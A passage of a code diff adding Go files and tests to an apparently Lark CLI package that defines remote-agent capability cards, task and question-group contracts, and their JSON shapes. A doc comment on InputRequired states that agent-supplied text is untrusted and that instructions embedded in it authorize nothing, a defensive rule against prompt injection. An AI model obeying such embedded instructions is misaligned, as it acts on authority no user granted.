internal/agents/card.go

@@ -0,0 +1,258 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+
+	"github.com/larksuite/cli/internal/core"
+)
+
+// capability key constants (the JSON key names in capabilities, also the
+// capability identifiers used by Supports / capabilityError). Only capabilities
+// that "can change the AI's next command line and are currently deliverable" are
+// exposed.
+const (
+	CapTaskGet          = "task_get"
+	CapTaskList         = "task_list"
+	CapTaskCancel       = "task_cancel"
+	CapInputRequired    = "input_required"
+	CapFileInput        = "file_input"
+	CapArtifactDownload = "artifact_download"
+	// The three multi-turn (context) verbs are independently wired, so each has
+	// its own capability bit — a provider may support listing sessions without
+	// supporting get or delete. (There is no umbrella "multi_turn" bit: a single
+	// flag cannot honestly represent three separately-deliverable hooks.)
+	CapContextList   = "context_list"
+	CapContextGet    = "context_get"
+	CapContextDelete = "context_delete"
+)
+
+// Capabilities is the closed set of capabilities: making it a struct means an
+// omitted field is an explicit false and a typo is a compile error. Fields are
+// ordered by json tag alphabetically so the emitted key order is stable.
+type Capabilities struct {
+	ArtifactDownload bool `json:"artifact_download"`
+	ContextDelete    bool `json:"context_delete"`
+	ContextGet       bool `json:"context_get"`
+	ContextList      bool `json:"context_list"`
+	FileInput        bool `json:"file_input"`
+	InputRequired    bool `json:"input_required"`
+	TaskCancel       bool `json:"task_cancel"`
+	TaskGet          bool `json:"task_get"`
+	TaskList         bool `json:"task_list"`
+}
+
+// AgentCard is a remote agent's capability card (schema v3, lean): provider
+// metadata, the supported capability matrix, identity precondition
+// declarations, and the has_parameters cue. Parameter DETAILS are deliberately
+// not embedded — they are fetched per operation via `agents card <ref>
+// --operation <verb>` (or all at once with --operation all); HasParameters
+// tells the caller which operations need that lookup. Scopes are not in the
+// card; they are internal registration data for preflight only.
+type AgentCard struct {
+	Provider      string `json:"provider"`
+	ProviderLabel string `json:"provider_label"`
+	AgentID       string `json:"agent_id"`
+	// Brand the card was rendered for: the capability matrix is brand-scoped, so
+	// the same agent can honestly show different capabilities under feishu vs
+	// lark. Callers must read the card for the CURRENT brand, not assume it is
+	// cross-brand stable.
+	Brand        string         `json:"brand"`
+	Name         string         `json:"name,omitempty"` // dynamic card only
+	Description  string         `json:"description,omitempty"`
+	Capabilities Capabilities   `json:"capabilities"`
+	Identity     []IdentitySpec `json:"identity"`
+	// HasParameters lists the verbs that declare business parameters (always
+	// emitted; empty is []). A verb absent here takes no --param at all.
+	HasParameters []string `json:"has_parameters"`
+	// ParametersSource is "template" for an instance provider: the parameter
+	// declarations are template-level approximations shared by every runtime
+	// agent_id — the platform's actual per-agent contract may differ. Empty for
+	// catalog providers (declarations are exact).
+	ParametersSource string      `json:"parameters_source,omitempty"`
+	AgentIDSource    string      `json:"agent_id_source"`
+	Skills           []CardSkill `json:"skills,omitempty"`
+}
+
+// DeriveCapabilities computes the capability matrix from which AgentSpec
+// operations are wired AND available for `brand` — the single source of truth
+// ("implement it = support it"), enumerated through Ops() so the verb↔capability
+// mapping lives in one table. An op-backed capability is true iff its hook is
+// wired and the op is not brand-excluded (OpAvailableForBrand); the matrix is
+// therefore brand-scoped and the same agent may show different capabilities
+// under feishu vs lark. file_input / input_required are behavioral flags with
+// no backing operation and stay brand-independent (read straight from the spec).
+// Send/GetTask are mandatory (Register enforces), so task_get is true unless its
+// Op.Brands excludes the brand (normally empty ⇒ always true).
+func DeriveCapabilities(s *AgentSpec, brand core.LarkBrand) Capabilities {
+	w := make(map[string]bool, 8)
+	for _, o := range s.Ops() {
+		w[o.Verb] = o.Wired && OpAvailableForBrand(o.Brands, brand)
+	}
+	return Capabilities{
+		TaskGet:          w[VerbTaskGet],
+		TaskList:         w[VerbTaskList],
+		TaskCancel:       w[VerbTaskCancel],
+		ArtifactDownload: w[VerbArtifactDownload],
+		ContextList:      w[VerbContextList],
+		ContextGet:       w[VerbContextGet],
+		ContextDelete:    w[VerbContextDelete],
+		FileInput:        s.FileInput,
+		InputRequired:    s.InputRequired,
+	}
+}
+
+// HasParameters lists the wired verbs that declare at least one business
+// parameter (fixed verb order, never nil) — the card's "which operations need
+// a parameter lookup" cue.
+func HasParameters(s *AgentSpec) []string {
+	out := []string{}
+	for _, o := range s.Ops() {
+		if o.Wired && len(o.Params) > 0 {
+			out = append(out, o.Verb)
+		}
+	}
+	return out
+}
+
+// BuildCard synthesizes an agent's lean Card: registration metadata from the
+// Provider, the capability matrix from DeriveCapabilities (wired operations),
+// the has_parameters cue, and the static per-agent metadata from the spec.
+// When rt != nil AND the spec wires Describe, it best-effort enriches
+// Name/Description/Skills from the remote — a Describe error is swallowed so
+// the card degrades to the offline (caps + static) version rather than
+// hard-failing (the caps matrix is the primary value). Pass rt=nil for the
+// guaranteed-offline path (card before config init, dry-run). A provider never
+// assembles its own card or declares its own capability bools. brand scopes the
+// capability matrix (DeriveCapabilities) and is echoed as card.Brand.
+func BuildCard(ctx context.Context, p Provider, s *AgentSpec, agentID string, brand core.LarkBrand, rt Runtime) *AgentCard {
+	card := &AgentCard{
+		Provider:      p.Scheme,
+		ProviderLabel: p.Label,
+		AgentID:       agentID,
+		Brand:         string(brand),
+		Name:          s.Name,
+		Description:   s.Description,
+		Capabilities:  DeriveCapabilities(s, brand),
+		Identity:      p.Identities,
+		HasParameters: HasParameters(s),
+		AgentIDSource: p.AgentIDSource,
+		Skills:        s.Skills,
+	}
+	if p.Kind() == KindInstance {
+		// Honesty label: an instance template's parameter declarations are shared
+		// by every runtime agent_id — approximate, not per-agent exact.
+		card.ParametersSource = "template"
+	}
+	if rt != nil && s.Describe != nil {
+		if info, err := s.Describe(ctx, rt); err == nil && info != nil {
+			if info.Name != "" {
+				card.Name = info.Name
+			}
+			if info.Description != "" {
+				card.Description = info.Description
+			}
+			if info.Skills != nil {
+				card.Skills = info.Skills
+			}
+		}
+	}
+	return card
+}
+
+// CardParam declares one business parameter of one operation (used for --param
+// validation, `agents card --operation` discovery, and error teaching).
+type CardParam struct {
+	// Name must match ^[a-z][a-z0-9_]{0,63}$ (Register panics otherwise). The
+	// charset is a subset of the meta.next interpolation whitelist, so the key
+	// side of a carried `--param k=v` is safe by construction, and snake→kebab
+	// mapping stays bijective should native flags ever be generated.
+	Name string `json:"name"`
+	// Type is one of string|integer|number|boolean; empty is normalized to
+	// "string" at Register time. It participates in real validation.
+	Type     string `json:"type"`
+	Required bool   `json:"required"` // required on THIS operation; empty value (`k=`) does not count as provided
+	Desc     string `json:"desc,omitempty"`
+	// Enum restricts the value to a closed set (string and integer types only;
+	// for integer every member must parse). Mutually exclusive with Min/Max.
+	Enum []string `json:"enum,omitempty"`
+	// Default is backfilled into rt.Params() when the parameter is absent.
+	// Mutually exclusive with Required; must satisfy Type/Enum/Min/Max.
+	Default string `json:"default,omitempty"`
+	// Min/Max bound numeric types (closed interval, either side optional).
+	Min *float64 `json:"min,omitempty"`
+	Max *float64 `json:"max,omitempty"`
+
+	// Fields declares an object parameter's members (Type MUST be "object", and
+	// an object declares nothing else: no Required/Enum/Default/Min/Max on the
+	// object itself — requiredness, defaults and constraints all live on the
+	// scalar leaves). Leaves are ordinary CardParams (scalars only — no nested
+	// objects this round; a shape that needs deeper nesting should flatten or
+	// wait for the schema evolution slot). On the wire an object travels either
+	// as dotted-path leaves (--param filter.region=east, the primary channel)
+	// or as one JSON value (--param filter='{"region":"east"}', the fallback);
+	// both normalize to flat dotted keys in rt.Params(), so a provider never
+	// sees which channel the caller used.
+	Fields []CardParam `json:"fields,omitempty"`
+
+	// NoCarry opts this parameter out of the meta.next carry: a suggested next
+	// command never carries its given value literally (a required NoCarry param
+	// degrades to a placeholder so the caller supplies a FRESH value). Declare
+	// it on per-call parameters (trace tags, one-shot tokens) that are shared
+	// across operations but must not ride the chain — the carry rule's
+	// same-resource continuity assumption does not hold for them.
+	NoCarry bool `json:"no_carry,omitempty"`
+	// NOTE(reserved): Repeated bool — multi-value parameters (same key given
+	// several times, aggregated in argv order). Not implemented this round; the
+	// duplicate-key error wording is already scoped per-parameter so activating
+	// it later cannot contradict published error semantics.
+}
+
+// CardSkill is one skill / scenario declared by a Card (with example usages).
+type CardSkill struct {
+	ID       string   `json:"id"`
+	Name     string   `json:"name,omitempty"`
+	Examples []string `json:"examples,omitempty"`
+}
+
+// FieldNamesList returns an object param's field names in declaration order
+// (teaching errors and suggestions).
+func (p CardParam) FieldNamesList() []string {
+	out := make([]string, 0, len(p.Fields))
+	for _, f := range p.Fields {
+		out = append(out, f.Name)
+	}
+	return out
+}
+
+// Supports reports whether a capability is declared as supported (an unknown key
+// or a nil card is treated as unsupported).
+func (c *AgentCard) Supports(capKey string) bool {
+	if c == nil {
+		return false
+	}
+	switch capKey {
+	case CapArtifactDownload:
+		return c.Capabilities.ArtifactDownload
+	case CapFileInput:
+		return c.Capabilities.FileInput
+	case CapInputRequired:
+		return c.Capabilities.InputRequired
+	case CapContextList:
+		return c.Capabilities.ContextList
+	case CapContextGet:
+		return c.Capabilities.ContextGet
+	case CapContextDelete:
+		return c.Capabilities.ContextDelete
+	case CapTaskCancel:
+		return c.Capabilities.TaskCancel
+	case CapTaskGet:
+		return c.Capabilities.TaskGet
+	case CapTaskList:
+		return c.Capabilities.TaskList
+	default:
+		return false
+	}
+}

internal/agents/card_test.go

@@ -0,0 +1,160 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/core"
+)
+
+// fakeRT is a no-op Runtime for exercising BuildCard's rt != nil path.
+type fakeRT struct{}
+
+func (fakeRT) AgentID() string           { return "" }
+func (fakeRT) IsBot() bool               { return false }
+func (fakeRT) Params() map[string]string { return nil }
+func (fakeRT) CallAPI(context.Context, string, string, map[string]string, any) (json.RawMessage, error) {
+	return nil, nil
+}
+func (fakeRT) CallMultipart(context.Context, string, string, map[string]string, []FilePart) (json.RawMessage, error) {
+	return nil, nil
+}
+
+func TestCardSupports(t *testing.T) {
+	c := &AgentCard{Capabilities: Capabilities{TaskCancel: false, ContextList: true}}
+	if c.Supports(CapTaskCancel) {
+		t.Error("task_cancel should not be supported")
+	}
+	if !c.Supports(CapContextList) {
+		t.Error("context_list should be supported")
+	}
+	if c.Supports("nonexistent") {
+		t.Error("unknown capability should be treated as unsupported")
+	}
+	// nil guard branch: a nil receiver is treated as unsupported; a zero-value Capabilities is all false.
+	var nilCard *AgentCard
+	if nilCard.Supports(CapContextList) {
+		t.Error("nil card should be treated as unsupported")
+	}
+	if (&AgentCard{}).Supports(CapContextList) {
+		t.Error("zero-value Capabilities should be treated as unsupported")
+	}
+	// Each capability constant must map to its own struct field (the switch has no gaps or mismatches).
+	all := &AgentCard{Capabilities: Capabilities{
+		ArtifactDownload: true, FileInput: true, InputRequired: true,
+		ContextList: true, ContextGet: true, ContextDelete: true,
+		TaskCancel: true, TaskGet: true, TaskList: true,
+	}}
+	for _, k := range []string{
+		CapArtifactDownload, CapFileInput, CapInputRequired,
+		CapContextList, CapContextGet, CapContextDelete,
+		CapTaskCancel, CapTaskGet, CapTaskList,
+	} {
+		if !all.Supports(k) {
+			t.Errorf("Supports(%q) should be true when all Capabilities are true", k)
+		}
+	}
+}
+
+// TestDeriveCapabilities pins the crown jewel: capability = wired-hook presence.
+func TestDeriveCapabilities(t *testing.T) {
+	// Minimal (echo-like): only the core hooks + read verbs.
+	min := coreSpec("echo")
+	min.ListContexts = ContextListOp{Handler: func(context.Context, Runtime, PageParams) ([]ContextSummary, PageInfo, error) {
+		return nil, PageInfo{}, nil
+	}}
+	c := DeriveCapabilities(&min, core.BrandFeishu)
+	if !c.TaskGet {
+		t.Error("task_get should be true (GetTask is a mandatory core hook)")
+	}
+	if !c.ContextList {
+		t.Error("context_list should be true (ListContexts wired)")
+	}
+	// The three context caps are independent: only ListContexts is wired here, so
+	// context_get / context_delete stay false (no umbrella multi_turn bit).
+	if c.TaskCancel || c.ArtifactDownload || c.TaskList || c.FileInput || c.InputRequired || c.ContextGet || c.ContextDelete {
+		t.Errorf("unwired capabilities should be false, got %+v", c)
+	}
+
+	// Full (reporter-like): everything wired / declared.
+	full := coreSpec("reporter")
+	full.ListTasks = TaskListOp{Handler: func(context.Context, Runtime, string, PageParams) ([]TaskSummary, PageInfo, error) {
+		return nil, PageInfo{}, nil
+	}}
+	full.CancelTask = TaskCancelOp{Handler: func(context.Context, Runtime, string) error { return nil }}
+	full.ListContexts = ContextListOp{Handler: func(context.Context, Runtime, PageParams) ([]ContextSummary, PageInfo, error) {
+		return nil, PageInfo{}, nil
+	}}
+	full.GetContext = ContextGetOp{Handler: func(context.Context, Runtime, string) (*ContextDetail, error) { return nil, nil }}
+	full.DeleteContext = ContextDeleteOp{Handler: func(context.Context, Runtime, string) error { return nil }}
+	full.DownloadArtifact = ArtifactDownloadOp{Handler: func(context.Context, Runtime, string, string) (*ArtifactData, error) { return nil, nil }}
+	full.FileInput = true
+	full.InputRequired = true
+	c = DeriveCapabilities(&full, core.BrandFeishu)
+	if !(c.TaskGet && c.TaskList && c.TaskCancel && c.ContextList && c.ContextGet && c.ContextDelete && c.ArtifactDownload && c.FileInput && c.InputRequired) {
+		t.Errorf("a fully-wired spec should have every capability true, got %+v", c)
+	}
+}
+
+// TestBuildCardOffline pins that BuildCard with rt=nil fills registration
+// metadata + derived caps + static per-agent metadata, always offline (Describe
+// is never invoked without a runtime).
+func TestBuildCardOffline(t *testing.T) {
+	prov := catalogProvider("nc", "a1")
+	prov.Identities = []IdentitySpec{{Type: IdentityBot, Precondition: "需要白名单"}}
+	prov.Catalog[0].Describe = func(context.Context, Runtime) (*CardInfo, error) {
+		return &CardInfo{Name: "REMOTE"}, nil // must NOT be called with rt=nil
+	}
+	spec := &prov.Catalog[0]
+
+	card := BuildCard(context.Background(), prov, spec, "a1", core.BrandFeishu, nil)
+	if card.Provider != "nc" || card.AgentID != "a1" {
+		t.Fatalf("provider/agent_id: %+v", card)
+	}
+	if card.ProviderLabel != prov.Label || card.AgentIDSource != prov.AgentIDSource {
+		t.Fatalf("registration metadata should be pre-filled: %+v", card)
+	}
+	if len(card.Identity) != 1 || card.Identity[0].Type != IdentityBot {
+		t.Fatalf("identity should come from the provider: %+v", card.Identity)
+	}
+	if card.HasParameters == nil || len(card.HasParameters) != 0 {
+		t.Fatalf("has_parameters should be empty but non-nil (always emit []): %#v", card.HasParameters)
+	}
+	if !card.Capabilities.TaskGet {
+		t.Error("task_get should be derived true")
+	}
+	if card.Name != "name-a1" {
+		t.Errorf("offline card should use the static spec Name (not the rt=nil Describe), got %q", card.Name)
+	}
+}
+
+// TestBuildCardDynamicDescribe pins the rt != nil path: Describe enriches
+// Name/Description when it succeeds, and a Describe error is swallowed so the
+// card degrades to the offline version (best-effort).
+func TestBuildCardDynamicDescribe(t *testing.T) {
+	prov := instanceProvider("dyn") // instance spec: no static Name
+	prov.Instance.Describe = func(context.Context, Runtime) (*CardInfo, error) {
+		return &CardInfo{Name: "Remote Name", Description: "Remote Desc"}, nil
+	}
+	card := BuildCard(context.Background(), prov, prov.Instance, "agt_x", core.BrandFeishu, fakeRT{})
+	if card.Name != "Remote Name" || card.Description != "Remote Desc" {
+		t.Errorf("rt != nil + Describe should enrich the card, got name=%q desc=%q", card.Name, card.Description)
+	}
+
+	// A Describe error degrades to the offline card (no enrichment), never fails.
+	prov.Instance.Describe = func(context.Context, Runtime) (*CardInfo, error) {
+		return nil, errs.NewInternalError(errs.SubtypeUnknown, "describe boom")
+	}
+	card = BuildCard(context.Background(), prov, prov.Instance, "agt_x", core.BrandFeishu, fakeRT{})
+	if card.Name != "" {
+		t.Errorf("a Describe error should be swallowed → offline card (instance has no static Name), got name=%q", card.Name)
+	}
+	if !card.Capabilities.TaskGet {
+		t.Error("caps should still be present on the degraded card")
+	}
+}

internal/agents/contract.go

@@ -0,0 +1,175 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import "fmt"
+
+// AgentTask is the unified structure that task-family commands put into output.Envelope.Data.
+type AgentTask struct {
+	TaskID        string         `json:"task_id"`
+	ContextID     string         `json:"context_id,omitempty"`
+	State         TaskState      `json:"state"`
+	IsTerminal    bool           `json:"is_terminal"`
+	CreatedAt     string         `json:"created_at,omitempty"` // ISO 8601; when the task was created (empty if the provider does not supply it)
+	UpdatedAt     string         `json:"updated_at,omitempty"` // ISO 8601; when the current status was recorded (aligns with A2A TaskStatus.timestamp)
+	Messages      []Message      `json:"messages,omitempty"`
+	Artifacts     []Artifact     `json:"artifacts,omitempty"`
+	InputRequired *InputRequired `json:"input_required,omitempty"`
+}
+
+// Message is one turn of an agent or user message, composed of several Parts.
+type Message struct {
+	Role  string `json:"role"` // "agent" | "user"
+	Parts []Part `json:"parts"`
+}
+
+// Part is one fragment of a message: text, file, or structured data.
+type Part struct {
+	Type string `json:"type"` // "text" | "file" | "data"
+	Text string `json:"text,omitempty"`
+	// File/Data pass-through: file uses URL/Name, data uses Data.
+	Name string      `json:"name,omitempty"`
+	URL  string      `json:"url,omitempty"`
+	Data interface{} `json:"data,omitempty"`
+}
+
+// Artifact is one artifact produced by a task (file / inline text), downloadable
+// via URL.
+//
+// Its fields align with A2A's Artifact/FilePart, but only what a provider can
+// truly deliver is populated (e.g. example only provides ID + Kind — the
+// coarse-grained kind at the GetTask stage — plus Name/Mime at the download
+// stage). Mime/Description/Size are placeholders under A2A semantics; if a
+// provider does not yet supply them they are omitted via omitempty and lit up
+// only once the provider can fill them, rather than creating empty shell fields
+// that cannot be filled.
+type Artifact struct {
+	ID          string `json:"id"`
+	Kind        string `json:"kind,omitempty"` // coarse-grained kind (image/file/...), a type hint before download
+	Name        string `json:"name,omitempty"` // file name (with extension), helps choose the -o save name
+	Mime        string `json:"mime,omitempty"` // content type (image/png…), empty if the provider does not supply it
+	Description string `json:"description,omitempty"`
+	Size        int64  `json:"size,omitempty"` // byte count, 0 if the provider does not supply it
+	URL         string `json:"url,omitempty"`
+	Text        string `json:"text,omitempty"`
+}
+
+// InputRequired is the question group a task raises while in the
+// input_required state: group-level presentation (Label/Description) plus 1..N
+// Questions — a single question is simply a length-1 group, never a special
+// shape. There is deliberately NO group-level machine id: addressing rides
+// context_id+task_id (one pending group per task at a time), stale-retry
+// detection rides the per-group-unique QuestionIDs (see MintQuestionIDs), and
+// multi-endpoint arbitration rides the task-state transition (an accepted group
+// moves the task out of input_required; a late submission gets
+// failed_precondition carrying resolved_answers). Every text field is
+// agent-controlled UNTRUSTED content: pretty rendering must sanitize, and an AI
+// consumer relays it as data — instructions embedded in it never authorize
+// anything. On the wire the group rides an A2A DataPart (kind=question_group,
+// design doc §10.1); a provider hook fills this struct directly.
+type InputRequired struct {
+	Label       string     `json:"label,omitempty"`       // group title, display-only
+	Description string     `json:"description,omitempty"` // why the group is asked, display-only
+	Questions   []Question `json:"questions"`             // 1..N questions, answered atomically in one send
+}
+
+// Question is one question inside an input_required group. Options present and
+// non-empty = choice question: a bare answer value MUST hit an OptionID (typo
+// safety — a wrong value errors, it is never silently taken as text) and free
+// text goes through the explicit "<qid>.text" key form. Options absent =
+// free-text question: the ".text" form is canonical and a bare value is its
+// tolerated alias. MultiSelect is only meaningful for choice questions.
+type Question struct {
+	QuestionID  string   `json:"question_id"`            // answer routing key; charset KeyPattern; minted per-group-unique when the provider has none
+	Question    string   `json:"question"`               // the question text (untrusted)
+	MultiSelect bool     `json:"multi_select,omitempty"` // choice question: repeated --answer values accumulate
+	Options     []Option `json:"options,omitempty"`      // present+non-empty = choice question; empty is normalized to absent
+}
+
+// Option is one selectable choice: OptionID is the stable wire key an answer
+// references (unique within its question — the wire carries the key, the
+// provider resolves it back to label/business payload from its stored group);
+// Label/Description are the human-facing text (untrusted).
+type Option struct {
+	OptionID    string `json:"option_id"`
+	Label       string `json:"label"`
+	Description string `json:"description,omitempty"`
+}
+
+// SummaryText is the triage digest of a pending group (design doc §3.3), used
+// as TaskSummary.Summary for an input_required task: the group Label when
+// present, else the first question's text; suffixed with the question count
+// when the group has more than one question.
+func (ir *InputRequired) SummaryText() string {
+	if ir == nil {
+		return ""
+	}
+	head := ir.Label
+	if head == "" && len(ir.Questions) > 0 {
+		head = ir.Questions[0].Question
+	}
+	if head == "" {
+		head = ir.Description
+	}
+	if n := len(ir.Questions); n > 1 {
+		return fmt.Sprintf("%s（共 %d 题）", head, n)
+	}
+	return head
+}
+
+// TaskSummary is a single task summary in the task list output (and in a
+// context's active_task). It carries just enough to triage without a full
+// task get: state + when it last changed + a one-line content digest.
+type TaskSummary struct {
+	TaskID     string    `json:"task_id"`
+	ContextID  string    `json:"context_id,omitempty"`
+	State      TaskState `json:"state"`
+	IsTerminal bool      `json:"is_terminal"`
+	UpdatedAt  string    `json:"updated_at,omitempty"` // ISO 8601; when the status was last recorded — the key for "most recent"
+	Summary    string    `json:"summary,omitempty"`    // last agent message, ANSI-stripped + flattened + truncated; for input_required it is InputRequired.SummaryText (group label, else first question)
+}
+
+// ContextSummary is a single context summary in the context list output. It is
+// the conversation-layer rollup used to pick which conversation needs attention.
+// It deliberately carries NO task_count: at the list level no triage decision
+// consumes it (awaiting_input / updated_at do that work), and requiring a
+// per-context total in a list call would force real providers into N+1 counting.
+// The count lives on ContextDetail (`context get`).
+type ContextSummary struct {
+	ContextID     string `json:"context_id"`
+	CreatedAt     string `json:"created_at,omitempty"`
+	UpdatedAt     string `json:"updated_at,omitempty"` // ISO 8601; last activity across the context's tasks
+	Title         string `json:"title,omitempty"`
+	AwaitingInput bool   `json:"awaiting_input,omitempty"` // a task is paused in input_required/auth_required (needs the caller)
+}
+
+// ContextDetail is the context detail in the context get output. It is the
+// conversation overview — metadata + a rollup + the single task the caller would
+// most likely act on. The full task enumeration lives in `agents task list
+// --context-id`, so ContextDetail deliberately does NOT embed the whole tasks[].
+type ContextDetail struct {
+	ContextID string `json:"context_id"`
+	CreatedAt string `json:"created_at,omitempty"`
+	UpdatedAt string `json:"updated_at,omitempty"`
+	Title     string `json:"title,omitempty"`
+	// TaskCount is the number of tasks in the context. A pointer so the three
+	// states stay distinct on the wire: nil = the provider cannot supply the
+	// count (field omitted), &0 = a genuinely empty context, &n = n tasks. A
+	// plain int with omitempty would silently conflate 0 with unknown.
+	TaskCount     *int         `json:"task_count,omitempty"`
+	AwaitingInput bool         `json:"awaiting_input,omitempty"`
+	ActiveTask    *TaskSummary `json:"active_task,omitempty"` // the task with the latest updated_at (nil for an empty context)
+}
+
+// ArtifactData is the return value of DownloadArtifact: the URL type gives URL,
+// the inline type gives Bytes. Name is the server-suggested file name (echoed
+// back only as a suggested_name reference for the command layer); it is
+// untrusted input and must never participate in constructing the local save
+// path — the save path is always determined by -o/SafeOutputPath.
+type ArtifactData struct {
+	Name  string
+	Mime  string
+	URL   string
+	Bytes []byte
+}

internal/agents/contract_test.go

@@ -0,0 +1,201 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"encoding/json"
+	"testing"
+)
+
+// TestAgentTaskJSON pins the question-group wire shape (design doc §3): group
+// label/description, questions[] with question_id/question/options/multi_select,
+// option description, and the deleted decision-era fields staying deleted.
+func TestAgentTaskJSON(t *testing.T) {
+	at := AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: StateInputRequired,
+		IsTerminal: false,
+		InputRequired: &InputRequired{
+			Label:       "报表生成确认",
+			Description: "生成前需确认以下口径",
+			Questions: []Question{
+				{QuestionID: "q1_a8", Question: "按什么维度拆分？",
+					Options: []Option{{OptionID: "by_region", Label: "按大区", Description: "华东/华北/华南汇总"}, {OptionID: "by_category", Label: "按品类"}}},
+				{QuestionID: "q2_a8", Question: "时间范围？"},
+				{QuestionID: "q3_a8", Question: "包含哪些区域？", MultiSelect: true,
+					Options: []Option{{OptionID: "east", Label: "华东"}, {OptionID: "north", Label: "华北"}}},
+			}}}
+	b, _ := json.Marshal(at)
+	var m map[string]interface{}
+	_ = json.Unmarshal(b, &m)
+	if m["state"] != "input_required" {
+		t.Errorf("state=%v", m["state"])
+	}
+	ir, ok := m["input_required"].(map[string]interface{})
+	if !ok {
+		t.Fatal("input_required should appear as an object in the input_required state")
+	}
+	if ir["label"] != "报表生成确认" || ir["description"] != "生成前需确认以下口径" {
+		t.Errorf("group label/description should serialize, got %v", ir)
+	}
+	qs, ok := ir["questions"].([]interface{})
+	if !ok || len(qs) != 3 {
+		t.Fatalf("questions should serialize as a 3-element array, got %v", ir["questions"])
+	}
+	q1, _ := qs[0].(map[string]interface{})
+	if q1["question_id"] != "q1_a8" || q1["question"] != "按什么维度拆分？" {
+		t.Errorf("questions[0] should carry question_id/question, got %v", q1)
+	}
+	if _, present := q1["multi_select"]; present {
+		t.Errorf("false multi_select should be omitted via omitempty, got %v", q1["multi_select"])
+	}
+	opts, _ := q1["options"].([]interface{})
+	if len(opts) != 2 {
+		t.Fatalf("questions[0].options should be 2 elements, got %v", q1["options"])
+	}
+	if o0, _ := opts[0].(map[string]interface{}); o0["option_id"] != "by_region" || o0["label"] != "按大区" || o0["description"] != "华东/华北/华南汇总" {
+		t.Errorf("options[0] should be {option_id,label,description}, got %v", opts[0])
+	}
+	q2, _ := qs[1].(map[string]interface{})
+	if _, present := q2["options"]; present {
+		t.Errorf("a text question must omit options entirely, got %v", q2["options"])
+	}
+	q3, _ := qs[2].(map[string]interface{})
+	if q3["multi_select"] != true {
+		t.Errorf("multi_select=true should serialize, got %v", q3["multi_select"])
+	}
+	// The decision era is over: no group-level machine id, no arbitration fields.
+	for _, gone := range []string{"decision_id", "input_type", "prompt", "submitted", "submitted_option_id"} {
+		if _, present := ir[gone]; present {
+			t.Errorf("deleted field %q must stay off the wire, got %v", gone, ir[gone])
+		}
+	}
+	// unset artifacts should be omitted via omitempty
+	if _, ok := m["artifacts"]; ok {
+		t.Error("artifacts should be omitted via omitempty")
+	}
+}
+
+// TestAgentTaskTimestampsJSON pins the added lifecycle timestamps: created_at /
+// updated_at are emitted when set and omitted via omitempty when empty.
+func TestAgentTaskTimestampsJSON(t *testing.T) {
+	b, _ := json.Marshal(AgentTask{TaskID: "chat_1", State: StateCompleted,
+		CreatedAt: "2026-07-07T00:00:00Z", UpdatedAt: "2026-07-07T00:01:00Z"})
+	var m map[string]interface{}
+	_ = json.Unmarshal(b, &m)
+	if m["created_at"] != "2026-07-07T00:00:00Z" || m["updated_at"] != "2026-07-07T00:01:00Z" {
+		t.Errorf("created_at/updated_at should be emitted, got %v", m)
+	}
+
+	b, _ = json.Marshal(AgentTask{TaskID: "chat_1", State: StateWorking})
+	m = map[string]interface{}{}
+	_ = json.Unmarshal(b, &m)
+	if _, ok := m["created_at"]; ok {
+		t.Error("created_at should be omitted via omitempty when empty")
+	}
+	if _, ok := m["updated_at"]; ok {
+		t.Error("updated_at should be omitted via omitempty when empty")
+	}
+}
+
+// TestTaskSummaryJSON pins the enriched task-summary shape: updated_at + summary
+// are emitted when set and omitted via omitempty when empty.
+func TestTaskSummaryJSON(t *testing.T) {
+	b, _ := json.Marshal(TaskSummary{TaskID: "chat_1", ContextID: "sess_1",
+		State: StateCompleted, IsTerminal: true,
+		UpdatedAt: "2026-07-07T00:01:00Z", Summary: "报表已生成"})
+	var m map[string]interface{}
+	_ = json.Unmarshal(b, &m)
+	if m["updated_at"] != "2026-07-07T00:01:00Z" {
+		t.Errorf("updated_at should be emitted, got %v", m["updated_at"])
+	}
+	if m["summary"] != "报表已生成" {
+		t.Errorf("summary should be emitted, got %v", m["summary"])
+	}
+
+	b, _ = json.Marshal(TaskSummary{TaskID: "x", State: StateWorking})
+	m = map[string]interface{}{}
+	_ = json.Unmarshal(b, &m)
+	if _, ok := m["summary"]; ok {
+		t.Error("summary should be omitted via omitempty when empty")
+	}
+	if _, ok := m["updated_at"]; ok {
+		t.Error("updated_at should be omitted via omitempty when empty")
+	}
+}
+
+// TestContextSummaryJSON pins the rollup shape: the summary carries NO
+// task_count (the count lives on ContextDetail only); awaiting_input is
+// omitted when false; updated_at is carried.
+func TestContextSummaryJSON(t *testing.T) {
+	b, _ := json.Marshal(ContextSummary{ContextID: "sess_1"})
+	var m map[string]interface{}
+	_ = json.Unmarshal(b, &m)
+	if _, ok := m["task_count"]; ok {
+		t.Error("ContextSummary must not carry task_count (list-level counts were removed)")
+	}
+	if _, ok := m["awaiting_input"]; ok {
+		t.Error("awaiting_input should be omitted via omitempty when false")
+	}
+
+	b, _ = json.Marshal(ContextSummary{ContextID: "sess_1",
+		UpdatedAt: "2026-07-07T00:01:00Z", AwaitingInput: true})
+	m = map[string]interface{}{}
+	_ = json.Unmarshal(b, &m)
+	if m["awaiting_input"] != true {
+		t.Errorf("awaiting_input should be true, got %v", m["awaiting_input"])
+	}
+	if m["updated_at"] != "2026-07-07T00:01:00Z" {
+		t.Errorf("updated_at should be emitted, got %v", m["updated_at"])
+	}
+}
+
+// TestContextDetailJSON pins that context detail NO LONGER embeds a full tasks[]:
+// it carries task_count + awaiting_input + a single nested active_task (omitted
+// when nil). task_count is tri-state: nil = unknown (omitted), &0 = genuinely
+// empty, &n = n tasks.
+func TestContextDetailJSON(t *testing.T) {
+	b, _ := json.Marshal(ContextDetail{ContextID: "sess_1", TaskCount: Int(2), AwaitingInput: true,
+		ActiveTask: &TaskSummary{TaskID: "chat_1", State: StateInputRequired, Summary: "按大区还是品类拆?"}})
+	var m map[string]interface{}
+	_ = json.Unmarshal(b, &m)
+	if _, ok := m["tasks"]; ok {
+		t.Error("ContextDetail must NOT embed a full tasks[] anymore")
+	}
